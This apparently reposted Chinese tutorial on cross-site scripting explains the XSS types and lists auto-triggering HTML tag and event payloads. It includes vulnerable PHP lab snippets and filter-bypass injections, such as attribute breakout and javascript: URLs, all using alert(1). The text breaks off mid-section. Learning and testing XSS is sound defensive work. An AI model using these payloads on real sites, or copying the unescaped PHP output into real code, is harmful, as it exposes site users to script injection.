XSS跨站脚本漏洞总结(知识点+实例)
XSS 简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应⽤安全漏洞。这类漏洞能够使得攻击者嵌⼊恶意脚本代码到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,则可导致嵌⼊的恶意脚本代码的执⾏,从⽽达到恶意攻击⽤户的⽬的。需要强调的
是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语⾔。根据攻击代码的⼯作⽅式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
反射型
反射型的XSS是⾮持久化的,攻击者事先制作好攻击链接,需要欺骗⽤户⾃⼰去点击链接才能触发XSS代码,但是服务器中没有这样的页⾯和内容,⼀般容易出现在搜索页⾯。
存储型
存储型的XSS是持久化的,代码是存储在服务器中的,如在个⼈信息或发表⽂章等地⽅,加⼊代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有⽤户访问该页⾯的时候都会触发代码执⾏。这种XSS⾮常危险,容易造成蠕⾍,⼤量盗窃cookie。
DOM型
DOM型的XSS是基于⽂档对象模型Document Objeet Model,DOM)的⼀种漏洞。DOM是⼀个与平台、编程语⾔⽆关的接⼝,它允许程序或脚本动态地访问和更新⽂档内容、结构和样式,处理后的结果能够成为显⽰页⾯的⼀部分。DOM中有很多对象,其中⼀些是⽤户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页⾯内容,它不依赖于提交数据到服务器端,⽽从客户端获得DOM中的数据在本地执⾏,如果DOM中的数据没有经过严格确认,就会产⽣DOM XSS漏洞。例如服务器端经常使⽤document.boby.innerHtml等函数动态⽣成html页⾯,如果这些函数在引⽤某些变量时没有进⾏过滤或检查,就会产⽣DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
⼀些常⽤的标签与属性
下⾯我列举的标签⼤部分是可以⾃动触发js代码的,⽆需⽤户去交互,⼤部分情况下我们也是希望是⾃动触发⽽不是等⽤户去触发。
scirpt 标签
<script> 标签⽤于定义客户端脚本,⽐如 JavaScript。
<script>alert(1);</script>
<script>alert("xss");</script>
实例:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎⽤户".$str."</h2>";
>
利⽤payload:
<script>alert(1)</script>
img 标签
<img> 标签定义 HTML 页⾯中的图像。
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
input 标签
<input> 标签规定了⽤户可以在其中输⼊数据的输⼊字段。
onfocus 事件在对象获得焦点时发⽣:
<input onfocus=alert(1);>
竞争焦点,从⽽触发onblur事件:input绑定onblur事件
<input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页⾯加载时 <input> 元素应该⾃动获得焦点。可以通过autofocus属性⾃动执⾏本⾝的focus事件,这个向量是使焦点⾃动跳到输⼊元素上,触发焦点事件,⽆需⽤户去触发:
<input onfocus="alert(1);" autofocus>
" οnclick=alert(1)>这样需要点击⼀下输⼊框<br>
" onmouseover=alert(1)>需要⿏标划过输⼊框<br>
实例:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
>
分析代码,仍然是使⽤get⽅法,从url中接受⼀个keyword参数,不过这⾥⽤到⼀个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为 HTML 实体,等于<;不能⽤,这时候⼀种⽅法是⿊名单绕过,就是不使⽤被过滤的符号,使⽤js的事件:
利⽤payload:
" onmouseover=alert(1)>需要⿏标划过输⼊框<br>
details 标签
<details> 标签通过提供⽤户开启关闭的交互式控件,规定了⽤户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在⽤户打开或关闭 <details> 元素时触发:
<details ontoggle=alert(1);>
使⽤details 标签的 open 属性触发ontoggle事件,⽆需⽤户去点击即可触发:
<details open ontoggle=alert(1);>
svg 标签
<svg> 标签⽤来在HTML页⾯中直接嵌⼊SVG ⽂件的代码。
<svg onload=alert(1);>
select 标签
<select> 标签⽤来创建下拉列表。
<select onfocus=alert(1)></select>
通过autofocus属性规定当页⾯加载时元素应该⾃动获得焦点,这个向量是使焦点⾃动跳到输⼊元素上,触发焦点事件,⽆需⽤户去触发:<select onfocus=alert(1) autofocus>
iframe 标签
<iframe> 标签会创建包含另外⼀个⽂档的内联框架。
<iframe onload=alert(1);></iframe>
video 标签
<video> 标签定义视频,⽐如电影⽚段或其他视频流。
<video><source onerror=alert(1)>
audio 标签
<audio> 标签定义声⾳,⽐如⾳乐或其他⾳频流。
<audio src=x onerror=alert(1);>
body 标签
<body> 标签定义⽂档的主体。
<body onload=alert(1);>
onscroll 事件在元素滚动条在滚动时触发。我们可以利⽤换⾏符以及autofocus,当⽤户滑动滚动条的时候⾃动触发,⽆需⽤户去点击触
发:
<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><
textarea 标签
<textarea> 标签定义⼀个多⾏的⽂本输⼊控件。
<textarea onfocus=alert(1); autofocus>
keygen 标签
<keygen autofocus onfocus=alert(1)> //仅限⽕狐
marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不⾏,⽕狐和IE都可以
isindex 标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE
XSS 常见绕过姿势
利⽤ JavaScript 伪协议
javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运⾏。当浏览器装载了这样的URL
时,并不会转向某个URL,⽽是执⾏这个URL中包含的javascript代码,并把最后⼀条javascript语句的字符串值作为新⽂档的内容显⽰出
来。
a 标签
<a href="javascript:alert(1);">xss</a>
iframe 标签
<iframe src=javascript:alert(1);></iframe>
img 标签
<img src=x onerror=alert(1)>
<img src=javascript:alert(1)> //IE7以下
form 标签
<form action="Javascript:alert(1)"><input type=submit>
实例:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
>
分析代码发现,
\$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); 就直接把<script 转换成 <scr_ipt ,on转换成
o_n ,这样就过滤了js事件,$str = strtolower($_GET["keyword"]);这样⼤⼩写绕过也失效,不过这次没有过滤尖括号<>,这⾥使⽤伪协议来构造payload:
利⽤payload:
"><iframe src=javascript:alert(1)>
<input name=keyword value=" "><iframe src=javascript:alert(1)>">
绕过空格过滤
当空格被过滤了时,我们可以⽤ / 来代替空格:
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论